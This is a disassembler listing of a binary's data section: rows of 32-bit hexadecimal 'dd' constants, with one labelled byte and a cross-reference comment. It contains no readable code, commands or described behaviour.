dd 5B27183Dh, 5B907146h, 6846A79Fh, 6EE2F600h, 7FBF0156h
dd 5F7DB883h, 0FF468781h, 0FDEBFDF5h, 69D12990h, 3EDDB100h
dd 12DE8E25h, 0FB620439h, 0C0712B7Dh, 8116D273h, 0DDCBC702h
dd 745F5B83h, 0B7FD4B29h, 192882B9h, 6F7C502Bh, 4EC986Fh
dd 8B601324h, 0C31430C6h, 0D9096AF0h, 37618988h, 9F1711D5h
dd 0F3B9B205h, 11E95E91h, 0B593110h, 0D0B4411Fh, 0F2E1D380h
dd 42EE53Ch, 9FCFE33Bh, 95A78161h, 0F1B80412h, 0CEF59BB5h
dd 565A3A9Eh, 852B51EEh, 29B58929h, 3B25F0BDh, 1F03D5Fh
dd 0B70F6BF4h, 0E53B2FDAh, 83A3BEA4h, 56BF20F7h, 214EDC4Eh
dd 0CA193F09h, 5CADC2B3h, 10E371B9h, 43119D29h, 27D0CD09h
dd 0F7B8843Dh, 133A7109h, 2FDBF00Fh, 0D79AF6F3h, 1DCF954h
dd 0C564032Bh, 0DA14408Ah, 55E9BA5Eh, 5CE14AC7h, 82E539Eh
dd 0A22C2E58h, 58001111h, 7FE36B50h, 9400E03Ch, 954653Dh
dd 122BFF11h, 0F35F02EBh, 6BAF4ACFh, 0C07E005Ch, 1DCD14CAh
dd 29BE09B8h, 0BC7973B3h, 0E1B7A7h, 4E2E8EB5h, 8D0128BAh
dd 5723BB50h, 0B8353197h, 0EDB80729h, 8D37DE14h, 6CB6D2E7h
dd 29BC7FF0h, 12ED9510h, 2AE98D4Bh, 5BAC62E9h, 0F64BD1Dh
dd 0EEF723C1h, 116A5643h, 0EAD2D463h, 0A13C1EC9h, 0C54C5C80h
dd 8745EE2h, 52CBD604h, 17E8E1ECh, 829BDBD6h, 74A2C24Dh
dd 95C26E2Fh, 0D0731285h, 5BF85684h, 8C59D3BCh, 0A11D64BCh
dd 215270B4h, 1B60C7F0h, 27810F51h, 86865A82h, 614B7311h
dd 2C0FD1CCh, 639EFEBFh, 9AB8273Dh, 1006D7Fh, 621E559Dh
dd 526D4BAh, 6ECBE2C0h, 59A80B19h, 9865828h, 0CF55B886h
dd 0BA804F11h, 0CE62566h, 47E96028h, 0E745DD00h, 0BE58FA36h
dd 804C0F49h, 4A62EE21h, 0BE613DA9h, 88C3E870h, 717A8B9Fh
dd 7396002Bh, 0BE57558Ch, 0CF79CE1Dh, 46DC49A6h, 37B61715h
dd 0B860ABCCh, 2A513489h, 0EA7F800Fh, 7E9F7E29h, 0AF336EABh
dd 23C6888h, 0C4800985h, 49464F8Eh, 0BB2F9101h, 3C2C1963h
dd 0B7C257Bh, 52ED3402h, 111D3CE0h, 8075562Bh, 0E3CE124Ah
dd 0F52925B0h, 2FD9F311h, 0E15C9828h, 9AB01267h, 7222D1C9h
dd 0E6E1D9Dh, 0E4BB8650h, 82BEE2F0h, 57F04DEh, 82CDC5F9h
dd 88C0D968h, 0D7C52809h, 0B3F135B5h, 23206B2Eh, 0E9BB001Dh
dd 0F7F61485h, 381EEB13h, 25DB8DB0h, 7BED9C30h, 0E601664h
dd 0F54FC07Dh, 0D5A0A28Ah, 8F164953h, 7130B18Ch, 6AC1Ah
dd 833F7FDCh, 6269B089h, 13018B1Eh, 5F66FAC4h, 0DBD78EBCh
dd 2063804Ch, 9F6ED3Bh, 0BA1F745Eh, 6246B079h, 0D4B79533h
dd 22BDEA0Eh, 0D882D4E6h, 11B40E3h, 69D251F8h, 6A5BB2E7h
dd 0EFC601CAh, 0BF666CECh, 2C891CD0h, 0BF593D9Dh, 0FAC7495Eh
dd 18DA957Bh, 0F0386Ch, 8F93E49h, 5007CB80h, 0A9BD8909h
dd 7CE85D10h, 2FE3FFF2h, 8CAC26B9h, 40AC5697h, 2A7D8589h
dd 48A6F49Dh, 7C9DD6F8h, 5ECE82CBh, 9FFE4C9Ch, 7912D509h
dd 3D42ADCAh, 87794DC0h, 89544F08h, 15467604h, 3A80651Ah
dd 0ABDF9405h, 26786EA2h, 47217B3h, 0BC725CBBh, 0BD6E5BB8h
dd 620DBD04h, 95C2C147h, 258578CDh, 50AD4190h, 249D23D4h
dd 4F3415F5h, 0BD030678h, 3912ED5Fh, 0FD5FB0E3h, 0EB740118h
dd 0D19DE545h, 2BEC530h, 53CD9A26h, 0A05E2061h, 0EA31626Dh
dd 0AD221A69h, 75D1FF25h, 688004B5h, 3B60D229h, 90AC782Dh
dd 1E0920A2h, 0FA5FFAF7h, 0CA614B2Eh, 5BBA2592h, 2E33D979h
dd 0D5738201h, 2568026Ah, 0DF6586D2h, 0EA509027h, 40767E70h
dd 0CD07A97h, 91A97604h, 0B4AF310Fh, 3B3048E6h, 0F0898475h
dd 89A09F70h, 5F616056h, 0B79010C9h, 0B8CC87FDh, 783C1037h
dd 932C5CACh, 1F90349Fh, 31B58904h, 11535619h, 0C0239BFEh
dd 0BD33015h, 81844B03h, 207925h, 970E23E9h, 0D520BA96h
dd 860F2FB3h, 0AE602124h, 824E71B2h, 6461619Ch, 0CDADA569h
dd 601864BDh, 4E8CB14h, 8B901F1Eh, 818A85D8h, 401AD8Bh
dd 6F938DB9h, 0C5AA098Ch, 9CA57AB0h, 920DF64Ch, 0AA09A7EDh
dd 0AAC1522Eh, 36C19ADBh, 3DFF6A1Ah, 123EB8DBh, 0E2BB20E3h
dd 81833C84h, 0BF554417h, 96FC2857h, 0DA683AD0h, 65120A5Ch
dd 0E8A9BD1Bh, 7FF202A2h, 0B9FF475h, 15C4E05Eh, 5FD0B049h
dd 90970DF0h, 5EE4FEDAh, 34E9C871h, 4D45C300h, 0A0D01E93h
dd 542600B0h, 87672370h, 5F4BF9EFh, 54E8D6D2h, 49C74179h
dd 0BE182F1Fh, 4B04DF10h, 30B5C9A2h, 45B0FF11h, 1DAB0F97h
dd 0F94937A4h, 0BF20003Ch, 1EE68748h, 0D7450D02h, 4049183Ch
dd 812C1194h, 0C7472F5Fh, 14BC19BDh, 0C1852429h, 0D1C3A54Bh
dd 70BE1F1h, 2040D166h, 810121C9h, 0DA6A26E7h, 0CC2BE969h
dd 0E6279CDh, 0D8998533h, 0B10297F0h, 5B578A0Fh, 0B72F8092h
dd 945B8DF5h, 0E277CE00h, 79CACFE8h, 2EB20D03h, 3B40AC0Ah
dd 0C94517ECh, 11CC482Eh, 899ACB1h, 0B33EE901h, 4AA13217h
dd 0F326AFB3h, 0DC614B18h, 98823BCh, 0C7456FBDh, 141BA5EAh
dd 991981FEh, 4795452Fh, 80FAC070h, 0B097F4EBh, 5A2722AEh
dd 0E26EEA17h, 56095E13h, 0BE18454Ah, 0DEB6C12Ch, 0E052A646h
dd 7B809809h, 181459AFh, 0B966C7C1h, 0EFF31908h, 1209F7D0h
dd 0FEF5D102h, 892E6C89h, 57E4FF1Bh, 0D2E075B6h, 0C2A1A595h
dd 2D287549h, 6EBE4FACh, 0F6570006h, 64C426A0h, 9B7516B4h
dd 7489AF45h, 4C060C91h, 296D1061h, 5FD1044Ah, 9197BC0Ch
dd 0F0B6BCF2h, 0CD953F09h, 0A0B4CE4Bh, 0E4692195h, 5E5727F5h
dd 64014C37h, 0E1F487F6h, 1A3D8141h, 30FB8B01h, 56716050h
dd 95706697h, 0AC026737h, 2C14E8E9h, 0E500D7D6h, 19B88E57h
dd 5671DBh, 82984D08h, 0CB6229D8h, 7894EE5Ch, 545C3F04h
dd 38B1505Fh, 2F22D1D6h, 48855837h, 9ECC0F46h, 0F7FB1E0Ch
dd 0C87DC456h, 0D2F6BDE4h, 4FA8F2B9h, 298D0913h, 20CACFE5h
dd 0D1122646h, 0BBF06507h, 4D423CAEh, 92975D5Fh, 409ECDADh
dd 0A8AA4129h, 0CDA16F02h, 66AD80E8h, 525C07D0h, 0B7AC3727h
dd 456F3079h, 64021871h, 0A35E1FB8h, 40CA5CEBh, 2C08FF38h
dd 0E20D3D01h, 0BC2AA296h, 2426283Ah, 5DF52989h, 1201B634h
dd 74163995h, 0C0B2BFEDh, 0FF06CC4Bh, 8452E125h, 0B4BC5F34h
dd 4103A0A1h, 2C8520h
dd 4B21B531h, 8588B323h, 4A0803A2h, 0F2F59249h, 85588899h
dd 0A0058501h, 20B56001h, 0EC80CBAAh, 0D6614CE8h, 679C541Dh
dd 0F3041044h, 3A5FCCA4h, 9B5B69BCh, 8CEA926Fh, 0B2D73DB0h
dd 97F97788h, 0B3376E89h, 0A6B17084h, 984E3FBh, 7915299Dh
dd 1DDF9A92h, 12DC2A56h, 0B7B537F6h, 6C6A5FBDh, 0F96E9909h
dd 569FAC7Ah, 5A00DE53h, 5090C503h, 587BB52h, 0F6D23C9h
dd 5A1CE831h, 807103BFh, 644EFDF3h, 0B9143BA1h, 685DFDC1h
dd 0A75EB1CBh, 0F75835A5h, 0C0FDA209h, 0AD625B58h, 23F65B5h
dd 109415D2h, 0F44C664Ch, 55140292h, 2329AB0Fh, 2FD88161h
dd 28C43229h, 0EBBB45E9h, 2FBAD4A9h, 9D890F30h, 25CB9641h
dd 0BB04F766h, 2B2EA1BFh, 68D9D3B8h, 0D3302ED9h, 1D9DB1BFh
dd 16092114h, 89954FDDh, 0B79AFBB2h, 38022ACBh, 162A23E9h
dd 0BBB777A5h, 70C63289h, 805750D3h, 5B3304A5h, 0AAFCB750h
dd 4ABD024h, 122C65D6h, 19AC2BBDh, 798D028Ch, 699FE2CCh
dd 57529A74h, 0DB09992Dh, 1F1C4348h, 9CA82AC6h, 8E403FBCh
dd 38E47611h, 9080AD38h, 5684B1BEh, 6A0098A5h, 8F88AF31h
dd 0E55B5F50h, 884E0D72h, 0F2001512h, 0FC57B3C8h, 43AF5D2h
dd 89DCD85Fh, 0B8AAA958h, 12AB0242h, 0BE148DA4h, 8049AC5Ch
dd 1AD1A148h, 0E6F000EFh, 6A7D421h, 0F9FC5AD5h, 9D238412h
dd 0AF4584FFh, 1B23586Bh, 8DBBDB16h, 558041E9h, 80466822h
dd 0BE6050DEh, 8E4E0F21h, 0B6926107h, 0FB33E050h, 7C6400CCh
dd 0C7BE2E7Eh, 2688E0Fh, 0F62BE425h, 79202728h, 0A3614B1Bh
dd 0BD318112h, 392E1899h, 3D536B3Dh, 32EFAFA0h, 601333E9h
dd 1E1044DEh, 61D9E661h, 80C82C56h, 799B899Ch, 5B622552h
dd 1A5CFEC7h, 0D5998531h, 0E6F1B341h, 1670DD5Ch, 504F9505h
dd 0A5E07340h, 0B55705A2h, 81B031C5h, 4F118D74h, 4DF12C4h
dd 0C0829BBFh, 0BEFDC2F6h, 5C110014h, 0ADC781C6h, 2E4B4A8Bh
dd 6BA11E8Ah, 0A639Eh, 8FC55391h, 4BE006C8h, 4C0CCDFEh
dd 34006ED2h, 9976BCF4h, 0F6F68EBh, 2E8C36E1h, 42BB7042h
dd 46D6E65Ch, 940E001Dh, 60C7E3B3h, 0FA7F2E6h, 3153BF3Dh
dd 0EA734F49h, 26181859h, 4B762E09h, 3097EEDh, 5F70F2BFh
dd 9F75ACB4h, 0B1844E0Ah, 0CBBF1900h, 0B5966875h, 68015737h
dd 0F1BD0395h, 447DE925h, 0FD290DADh, 83FC6AA2h, 6AFBB592h
dd 8A00777Ah, 2820BA96h, 0A40F5253h, 42BBADCDh, 5D500398h
dd 28250238h, 8D090785h, 0D3723815h, 0AEEA504Eh, 0DA8AA10Bh
dd 914457h, 0FAD22B88h, 67FB1CBCh, 82312F3Bh, 2C75A799h
dd 4B49F018h, 0FCE5325Bh, 162E055Eh, 68DD03DCh, 18ED9D01h
dd 2050DB12h, 4A00E76Fh, 5CCD6D93h, 0BC5C68A2h, 6ADC1828h
dd 9763D508h, 0F7CD229Ah, 0A9E7FEE0h, 2C3A2790h, 294490DFh
dd 1351258Dh, 6D6B1AD1h, 0DC63404Eh, 0DB0465AAh, 25D19D33h
dd 0B096F7EFh, 0A08AFCEFh, 9A8F8183h, 0CAEF976Ch, 0A8323B60h
dd 0FB860087h, 62790B91h, 0DB17B70Fh, 24CC3FB3h, 0ED8D2789h
dd 57504E80h, 0A009BF60h, 0E35A5C2h, 13F53226h, 82599B3Bh
dd 0D012FE3Ah, 21214163h, 2EAEE937h, 19239B6Bh, 9B1FD00h
dd 0BE5CE074h, 0BE0A0EFEh, 0A9FFCF80h, 0D5903BD9h, 791E3125h
dd 61356BFAh, 0F8F9CE80h, 109E35h, 810B8096h, 86C684D7h
dd 6CCA574Bh, 0E4974A22h, 5DFC97EFh, 365EE8E0h, 7D90093h
dd 2BADB633h, 0B50A5441h, 0BE631EA4h, 0DED5A6h, 49A9DE07h
dd 60021E75h, 27BB4B02h, 0AB50459Dh, 0D87053BFh, 604B3D71h
dd 0F6814ECCh, 85F41614h, 0C4CE2A03h, 1ABC7895h, 618589C2h
dd 94959A58h, 9F7C70FCh, 0E0441C6Fh, 4AD9E3BBh, 0B6FAF1C4h
dd 0EEE9F0BAh, 0F61927BDh, 0E41BF70h, 0D831D2DBh, 9DC67058h
dd 0FDCA15Ch, 0B86A19F9h, 99F2E7E0h, 9E974EDFh, 706E9316h
dd 0A1267694h, 0D5080ED6h, 0B4E9091Ch, 11B11078h, 3FCECC83h
dd 710DE018h, 0F64A0250h, 0FE8AC18Bh, 3D49D05Ch, 0D46A0062h
dd 0C0FD84D6h, 4D6D1309h, 2D6E5E2Bh, 92339F7Fh, 0BEE47017h
dd 3ED6E9E7h, 0E7033F6Fh, 5BD2394h, 19C5B4F4h, 9BBC45Ah
dd 0E78D82Dh, 30476195h, 75BD0B00h, 5000E6B4h, 3EAA4BBh
dd 5CFD23Fh, 272FFD91h, 0AF9DB498h, 3725ED5Eh, 0D83480D6h
dd 2B7F681Bh, 66FC6B12h, 9AD3CABDh, 4A9F8408h, 0A9C374AFh
dd 120A898h, 53C2F1CDh, 526D9D2Bh, 0C2595B92h, 5626B00h
dd 2587E1EEh, 79CDD1FFh, 1747AEC0h, 2E0FAD8h, 22E8BF2Ch
dd 17C06B58h, 99256CB9h, 1A45E52Ah, 0C17345C3h, 4D6A6170h
dd 58BC1D02h, 0BBD29209h, 0E50902E4h, 0B3900329h, 907750D2h
dd 1DFCDAh, 0DF284C51h, 7AAC6E74h, 67E5E712h, 0FD0068B2h
dd 3A03C121h, 6104685Dh, 0BE9BF8AFh, 5BCE22FCh, 0D2ED9029h
dd 0AEC827C1h, 72BD11D4h, 0B35252Bh, 0DBA554E5h, 0F0FC50A8h
dd 2AF0AD4Eh, 2E912DFh, 0C94EF20Ch, 0BFBA1023h, 317C0E0Ch
dd 0F772199Dh, 3AA64141h, 2024B152h, 0AD9020B9h, 0A94B7C0h
dd 1700184Ah, 497BC23h, 4BB18B32h, 1A15D95Fh, 1432C16Eh
dd 352F64B5h, 0DCC8B113h, 0F4F96A5Bh, 0A89C39B5h, 6790D525h
dd 0C709F381h, 736931EDh, 400711B3h, 0B05BDE98h, 0C4D85500h
dd 8170E6h, 0B3999BD3h, 8971E44Bh, 177D9512h, 0E6C97DBCh
dd 702597E4h, 60A6C2C0h, 9D152101h, 74690BD4h, 8AD68FEh
dd 5A3B0E75h, 0EC00FCE3h, 445B9DD7h, 0F7021A49h, 3CF1BF5Fh
dd 32C25C12h
db 0F2h, 0F8h, 7Dh
byte_544547 db 59h ; DATA XREF: ___:off_445258o
dd 0FB033E13h, 0DA8AC82Bh, 0FFF1D1F2h, 0E3629101h, 0B5EBCD24h
dd 0AC095516h, 6471DE03h, 82E6E585h, 68B25050h, 24A35C16h
dd 6CB111A9h, 4541BD12h, 128DD815h, 0E4921B97h, 736C0056h
dd 0E95F3D01h, 9817516Eh, 810DD934h, 0FF8DDC5Bh, 25C403D0h
dd 4B91C4F9h, 0EB60AE37h, 1369B3h, 58361564h, 750DCE4Ah
dd 0DCE5FA02h, 82A58304h, 88F8FE26h, 902F6DD9h, 93041Ah
dd 41A2F767h, 559E36Dh, 0A598D34Bh, 4E404279h, 581F446Ah
dd 0FC4DC563h, 168AC160h, 0DD4F65EDh, 6B7E6535h, 67A96EF9h
dd 893E06BFh, 794521B5h, 5693A8B9h, 8BD72580h, 1BF92279h
dd 5C009018h, 5370A497h, 368BFBBAh, 0D86D3D9Dh, 246DDC81h
dd 0D1028121h, 2F08D036h, 44A65461h, 5C20AA51h, 4CECED29h
dd 0D405296Ah, 7917793h, 0E14055F8h, 20821B3Ah, 140B536h
dd 2B5F165Bh, 82A9ADD2h, 5C1D319Dh, 0AC6DFA5Dh, 0AFC06D67h
dd 12B7BF18h, 0E236FB2Dh, 0E6BB0231h, 797DB4CAh, 9D238E0Fh
dd 293E88D5h, 4A12BF4Eh, 1DB2D5A6h, 1DE7CF30h, 82C1E1A0h
dd 0EF91D740h, 0B35EC756h, 0EBFF58CAh, 9BD8913h, 61E68B53h
dd 273911E0h, 684CD0F9h, 1617B648h, 59E80589h, 0FE1862E2h
dd 4B1244E8h, 61030279h, 0A0F77568h, 760EB8D1h, 56993C6Bh
dd 13F9C638h, 0ADB85FDFh, 98B7F882h, 0CA0D4A0Eh, 9D3317F4h
dd 0FAA50112h, 7BD2B93Ah, 0B789D001h, 2997871Fh, 2C2EF5C9h
dd 668AD305h, 660B008Eh, 6C3CAB94h, 0A3047859h, 20908F9Dh
dd 5C5B79D2h, 14CB510Fh, 0E3B88EBDh, 0AB9F5409h, 67297199h
dd 0B3F64967h, 3B1E00F4h, 5BF4D1F3h, 330960DDh, 5C3489BDh
dd 25FF489Ch, 0E56BFEAh, 2525DD28h, 20EA660Dh, 0B7010109h
dd 0DB79BB45h, 0DC6A3739h, 6025D7CAh, 0BEBA6688h, 46FADC1Eh
dd 1493A300h, 0CBBB9E54h, 1CA10917h, 67F76650h, 0E18E788h
dd 1F18610h, 47FE5CBCh, 802446Bh, 0C254737Dh, 450DE70h
dd 4109C3BFh, 6037AE76h, 7482D0B4h, 13DB4432h, 0C8515250h
dd 2E1C097Dh, 57415FD7h, 0B5C27EC8h, 95D7AC8h, 5B400628h
dd 0D6B8755Ch, 6B55F0F0h, 351C00F6h, 6660C4AAh, 841276BAh
dd 795B50Bh, 0B39293FDh, 49A04E00h, 1B98835h, 0CF100B89h
dd 0BE0FC6C8h, 82408E2Fh, 42CB113Dh, 84507519h, 148D5B4Bh
dd 362BCE65h, 61256211h, 0A5E55B0Bh, 0D900F637h, 366322CEh
dd 0B892074Eh, 3F8D090Dh, 0D845BD56h, 0D90C69A4h, 26D810F3h
dd 0F7854A57h, 3E6EABh, 0A4B75839h, 50402F90h, 9F60FB96h
dd 10BD26C6h, 0C8414Ch, 0AB815138h, 45839B0Bh, 61FA0D18h
dd 0C44AB72Ch, 0B6965030h, 5E8DE1FEh, 2571BAF4h, 8DD8A2E7h
dd 0C272F625h, 0F8BD774Fh, 687780BEh, 158D893Bh, 1EC08314h
dd 0DE6379DCh, 4BDA8BEEh, 6920F3C6h, 96F70CEh, 21A527E1h
dd 96707EF3h, 44569A45h, 0FB25BF16h, 6408CDEFh, 0FEBB601Ch
dd 0FACE00A1h, 6B5D8F80h, 3D05E7BFh, 820F4277h, 0AB1228AAh
dd 0B57212FAh, 904EDE1Ah, 62FB5DF0h, 3246D580h, 78D48C5h
dd 0D0720270h, 0DCA270F4h, 902550FBh, 22FF6EF5h, 0A0BC1071h
dd 0DC9612DCh, 0D31CE2AFh, 0E300D2A2h, 68D3FF49h, 338C687h
dd 0F2178011h, 0B58C5342h, 0CA404A6Ch, 412C3869h, 4005BD30h
dd 3C4FE932h, 0EECF68DEh, 0C2DF8001h, 383A2EF5h, 0AB2385E4h
dd 6E7E51A1h, 82A900D0h, 0E55012FFh, 0D1C712BFh, 0CC58E20Eh
dd 528B59B8h, 0A9CFC7F8h, 58DBABF3h, 1D2B0C0h, 0E301EC94h
dd 894CC4CEh, 0F16565B5h, 1CAC636Dh, 7166008Ch, 0F5D3BAFBh
dd 0C44A31B1h, 17B237E6h, 2518C230h, 90FFFE1Fh, 0F2DF813Bh
dd 7F0C2576h, 80125666h, 19E3AAF3h, 0D93E0B4Ch, 0CF874CDCh
dd 8C96E473h, 8A00468Bh, 0DE59EA83h, 93154Bh, 0D982CBA6h
dd 0AB90A0F0h, 1150482Dh, 40EA7F34h, 26B7513h, 11FE1D6h
dd 0FE6A595Fh, 8842E74Ah, 965B8040h, 0FF05BFF0h, 1FD1BD89h
dd 0FC3EB429h, 97F89279h, 0ACE1B7C4h, 0E0BFC0F3h, 95341410h
dd 0C854CEB2h, 9502584Bh, 0F8FAC51Bh, 0BF817E59h, 64F93870h
dd 0DE91152Bh, 4D0BB0BCh, 2C6D9D03h, 95DBE0B6h, 0AEFC9485h
dd 3DA85D64h, 1E8E0F82h, 458BBA5Fh, 9509C149h, 12CC78F5h
dd 809B6A5Bh, 248DBFD6h, 1881EC6Ch, 30820138h, 9912C6FDh
dd 856EF1DBh, 4C071B23h, 0B2D06EBCh, 0B60A14F9h, 46FBEB13h
dd 1320D50h, 5D52821Ah, 574D8501h, 3489E2FCh, 0E7DE00FEh
dd 0BDCBE8C3h, 2543359Fh, 0F27EBFFAh, 0B294BF00h, 7967B5A9h
dd 35A3BB04h, 49AC7C57h, 943B17D2h, 0A725A8B6h, 0C7BB80B8h
dd 967B37EDh, 8FB06F92h, 8508459Eh, 595F1517h, 198C14A8h
dd 59D9B302h, 51A3ADF5h, 745B49BFh, 4A415650h, 1CB2D9h
dd 0FDF5A719h, 2D628587h, 9BFF964Fh, 98F9BAE8h, 3BD78168h
dd 48A52EF2h, 0F94A0F66h, 58250ACAh, 2723DFFh, 0FCE0235Bh
dd 91AAB5D5h, 0AF0B8019h, 5A84BCC2h, 5380473h, 61F5022Ah
dd 0A016D6C6h, 0FCBDBF0Bh, 0C5801D91h, 932F3949h, 0D585E005h
dd 0A101B027h, 13F44D92h, 0C500FA23h, 385D4AF1h, 0F64C688Ch
dd 0B51C7F59h, 376DFFF4h, 8B3005ECh, 0B824BDC1h, 662B284Ch
dd 0BCB0997h, 0EAFE819Dh, 0F71EA962h, 0AE04A3BDh, 0A0932EF5h
dd 1ABFA090h, 7BDAFB9Ah, 0F8B70C2h, 760C39FBh, 5BF3885Eh
dd 390A5809h, 0F446D3AAh, 0F8FAD60Bh, 1CDD0589h, 2D1E6FF4h
dd 2CD17D2h, 0E44EE9EFh, 5CECEDh, 0F3695375h, 0E784709Fh
dd 0CAF71F18h, 81295576h, 6C022B5Bh, 0C650BFB7h, 443D005Bh
dd 8C4AE6BBh, 7D009062h, 98063022h, 2A650215h, 97B8D1E3h
dd 275E5DE2h, 896A10DEh, 0FFB54FA9h, 0DE62F6E6h, 8FE2DC00h
dd 6C3446AFh, 8A46CBB1h, 0A9238C5Ch, 0BF430C78h, 8350728Bh
dd 6DB63A95h, 5CEE601Dh, 0EB150F95h, 4AA161D6h, 9852BE8Ch
dd 89D1508Fh, 3EC7B521h, 0C15A6191h, 5A026A72h, 7826C047h
dd 31C2CB66h, 0BDEAEEC0h, 74900205h, 3BF32C72h, 6ED98A16h
dd 3743EFh, 57FEF9ECh, 0C7457C61h, 94E9DEFCh, 0B105AC0Dh
dd 0FF04D228h, 2FD3BD20h, 0D6CC390Dh, 0A553F109h, 0DCD55Ch
dd 1B8BEC9Ch, 0BD2B57DDh, 7A0FD14Bh, 219D625Fh, 59375616h
dd 902BEE61h, 0DEC394h, 15B0850Dh, 0D6A5CC6Ah, 60396B13h
dd 498AC8h, 2DFE8FCBh, 0D09C22F1h, 61A7E00h, 17BBBA66h
dd 27A19161h, 8D025D37h, 61FB3433h, 0C1CBFAADh, 66101E0Dh
dd 0BF4A91BBh, 0E83F8DD9h, 0DFB7C4B7h, 849D83ADh, 0EF0E35BDh
dd 0A9972BF2h, 0C9A832h, 0B2D69A19h, 0AA9DF4E3h, 0C852B3A2h
dd 2745EB98h, 91BC883Eh, 0FBE9F900h, 0BA3BEF2h, 0CAC80FB3h
dd 283FEF6Ch, 0D670113h, 2B9E3E14h, 0E765EC18h, 620F1601h
dd 0FF6A5FC1h, 92B87969h, 0E10199FEh, 89EDF2B8h, 0AD6BC185h
dd 8DD52A50h, 24699380h, 64DE548Ah, 64604B36h, 5C1008Eh
dd 658328Bh, 7F0A37F0h, 91800720h, 15784B0Ah, 289700B8h
dd 3453160h, 0F56009Eh, 193EE9A2h, 613876F1h, 0E6FC0DB0h
dd 456F8470h, 0FC71E40Ch, 0C60825A0h, 1EF4404h, 62B58D4Ah
dd 0EC06172Bh, 0D7BFC0C7h, 5F1EFBF7h, 21F4CCBAh, 892A0F41h
dd 591696B5h, 407A89BAh, 2B36EC33h, 8C00C85Eh, 0D18B1C3Eh
dd 0F6E0E360h, 0FFCA0EADh, 0E9246124h, 0C07CADA6h, 85F28067h
dd 66AF242Fh, 7230BD3h, 0A8A5D488h, 0B5C2A08Ch, 0B75BB105h
dd 2EB1A222h, 7E49015Ch, 0FB526968h, 0CA4C1C45h, 86EC0089h
dd 10B81F42h, 0C105F0A0h
dd 58E9257Ch, 558BF5ECh, 66256754h, 27297604h, 0D8FA2FC5h
dd 6C12B14Fh, 9C980DB2h, 0E183320Dh, 1989028Dh, 773DAB3h
dd 2BD12A31h, 1958900h, 440058ACh, 8BAD1615h, 95E811Ah
dd 261D9BEDh, 3C080D73h, 18467C50h, 0DC483E00h, 0C7816199h
dd 0B1AE880Ah, 3193BB03h, 0C2F29EFBh, 40E185A4h, 976D0B14h
dd 8CC8301Bh, 0A024222h, 70B910B7h, 29C5D20Fh, 17AE1ECDh
dd 0A6FFCh, 6C4B8B3h, 4131A4h, 0FC233362h, 9295F381h, 2B14B20Bh
dd 0C0354DC0h, 4A37556Ch, 85812305h, 16FC91BCh, 2459C2D8h
dd 0D860E7C0h, 4E2B12F0h, 5CB2D2h, 0FD8AC03Eh, 3487B6h
dd 6CA03CBFh, 0B226667Dh, 0E2471309h, 0E0287158h, 280AE781h
dd 4DBF0572h, 0C687CFF9h, 0C9866032h, 7698B535h, 732C512Dh
dd 788F231Ah, 0CF077F2Ch, 0E65F68FBh, 810FC41Eh, 8B7F3322h
dd 57445605h, 4184EF16h, 13D971ACh, 5B617053h, 81531597h
dd 521DFBFh, 0AD202B79h, 2B7F927h, 0EEA9FD0Fh, 0EC7CE07Dh
dd 0B25A1410h, 3864CD0Eh, 0B8D5E96Fh, 3AE70779h, 9B55BC29h
dd 0DF0259F8h, 0F5B50158h, 0E38D718h, 1A97FB8Bh, 26B28012h
dd 97E1FF28h, 1601BB37h, 0D59D2335h, 0CA4AC828h, 4607E23h
dd 19E3817Fh, 12149761h, 0C325A668h, 0F4B2F812h, 2A21608Dh
dd 3D387B87h, 1F446E5Ah, 5E014AAEh, 0B42AEA3Ah, 611D141h
dd 4A76F62Ah, 3AA206F6h, 20B1B0C0h, 5E171297h, 1600DC59h
dd 9D75EE11h, 8170E121h, 0B6D86A85h, 0DE014F88h, 6029651h
dd 5520A18Dh, 0B5951216h, 6E77004Ah, 16F6950Dh, 7284084Bh
dd 0A083E7EBh, 2A4C69Eh, 0BB3BFF1h, 0F2774EFCh, 0C9D4006Ch
dd 0FE0D81DBh, 0E69F0903h, 5B572D8Dh, 0B7971164h, 883D005Bh
dd 0C9267F0Dh, 35F91509h, 793F6A65h, 80430093h, 2C0EA1BEh
dd 51C0CB00h, 9DB129F9h, 6D6902C5h, 6A46807Bh, 0DE7C5Eh
dd 70894317h, 6358684Eh, 60540D12h, 0F8657A88h, 0EB7919h
dd 915C0A3Eh, 0A9D80266h, 905BB325h, 0E59623Ah, 72D2F326h
dd 19F78400h, 0D2C54988h, 0E0805BCBh, 12A72434h, 89541260h
dd 0F8AC7B2Dh, 3CE3FAC1h, 0CDF1E4E4h, 0CC4EB825h, 0F9B5279Ch
dd 2EDAC3C9h, 6FAAA424h, 0F9B60363h, 4801C4E9h, 96C0B114h
dd 4CC1B6Ch, 42E7D101h, 0ADBD0BF6h, 0B95B29CEh, 65AB8412h
dd 59E2AE28h, 6AC5C94Ah, 0D1B841B9h, 0A998AA12h, 0E72ADEE1h
dd 38C0B466h, 956D589Fh, 0D6070DCCh, 896BFB3Eh, 2F60CD7Ah
dd 834F15h, 0B2490C19h, 6F9DC34Ch, 36918C0Bh, 0A41A51FCh
dd 14DD096Fh, 0F8F8F414h, 5AE38012h, 9002F7E1h, 34B0D5DAh
dd 0A5BCD7B7h, 1DE0B24h, 0E0963092h, 2FEEFFAEh, 8A98CCC1h
dd 12C2EFD0h, 0E36CBB8Fh, 950904C6h, 0CEAE1401h, 0E1B04B34h
dd 0FB96A17Ah, 0BE734ECBh, 0F4CAD327h, 5A27D996h, 8058FA90h
dd 89384BDFh, 0F7DB2E8Fh, 3776AFC9h, 7E25EE40h, 8CC82815h
dd 71580F8h, 92CC0089h, 354FD79Eh, 0A5006DDBh, 504DB0EDh
dd 0E83FCB6h, 5F5BFDF4h, 9B552433h, 1DFFC193h, 0DD2B46E2h
dd 0B0246692h, 1D0F93CCh, 0FABC8FF9h, 2BA58BA5h, 524DE1FCh
dd 59F461B0h, 0F50713DCh, 0BB3B0F5Dh, 6BB3EDA2h, 0BC0A1ED7h
dd 0A06ED457h, 561F29A4h, 5E417141h, 0E9A4822Fh, 0F6D27C3Bh
dd 165EC548h, 23B8F6D0h, 0EE9A97EEh, 7FD7CE81h, 607E40E8h
dd 20003E5Eh, 5C529BCCh, 760859h, 861ED1BDh, 25A6A51Ch
dd 4017F6B5h, 0FEEDD312h, 2260E300h, 0A3833975h, 5B0B127Eh
dd 880CF2FCh, 8E37AFD5h, 8B17F80Ah, 0CD495107h, 0BF078900h
dd 343C1258h, 9E232C5Ah, 0C38061C0h, 25958982h, 675B1081h
dd 5F181D79h, 0BC38A938h, 92053FA1h, 0BD57F9A8h, 0B8B0C4AEh
dd 25A3D41Bh, 0C04C5C7Ch, 43C256BFh, 27B57395h, 52E226D0h
